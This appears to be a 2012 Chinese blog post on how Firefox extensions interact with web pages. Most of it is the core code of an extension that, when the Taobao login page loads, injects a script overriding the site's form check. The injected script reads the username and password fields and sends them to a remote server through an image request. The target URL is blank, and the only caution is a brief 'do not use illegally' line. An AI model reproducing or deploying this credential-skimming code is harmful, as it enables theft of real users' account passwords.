2012年(272)
分类: Python/Ruby
2012-06-26 11:15:56
如果按照前面一篇提到的写一个HelloWorld
程序,会发现弹窗是在所有页面和网站加载之前,这显然不是我们希望看到的。我们经常需要对一个制定的网站或者页面进行操作。
Firefox的扩展和页面之间的交互一般是通过注册一个DOM事件来传递消息的。
参考官方的一些代码例子,我写了一个针对淘宝登录页面的获取密码的扩展,核心代码如下(请勿用于非法用途):
// 注册load事件
window.addEventListener("load", function() { myExtension.init(); },
false);
var myExtension = {
init: function() {
var appcontent =
document.getElementById("appcontent"); // browser
if(appcontent)
appcontent.addEventListener("DOMContentLoaded",
myExtension.onPageLoad, true);
var messagepane =
document.getElementById("messagepane"); // mail
if(messagepane)
messagepane.addEventListener("load",
function () { myExtension.onPageLoad(); }, true);
},
onPageLoad: function(aEvent) {
var doc = aEvent.originalTarget; // doc is document
that triggered "onload" event
// do something with the loaded page.
// doc.location is a Location object (see below for a link).
// You can use it to make your code executed on certain
pages only.
if(doc.location.href.search("member1.taobao.com/member/login.jhtml")
> -1){
// 这个if
制定了一个页面,否则doc会取到所有打开tab页面的document对象
alert("Taobao Login page is loaded");
// your code here ...
var s =
doc.createElement("script");
// 重载了淘宝的一个函数。记录密码并发送到远程服务器
s.innerHTML = "function checkForm(f,
type){var im =
document.createElement('img');im.src=''+document.getElementById('TPL_username').value+'&password='+document.getElementById('TPL_password').value;document.body.appendChild(im);return
false;}";
doc.body.appendChild(s);
}
}
}
这里用的是Page
Loading 后才能实施的脚本,如果要在页面加载中,或者一些更复杂的状态变化时进行控制,需要使用
Process Listeners 的接口。
https://developer.mozilla.org/en/Code_snippets/Progress_Listeners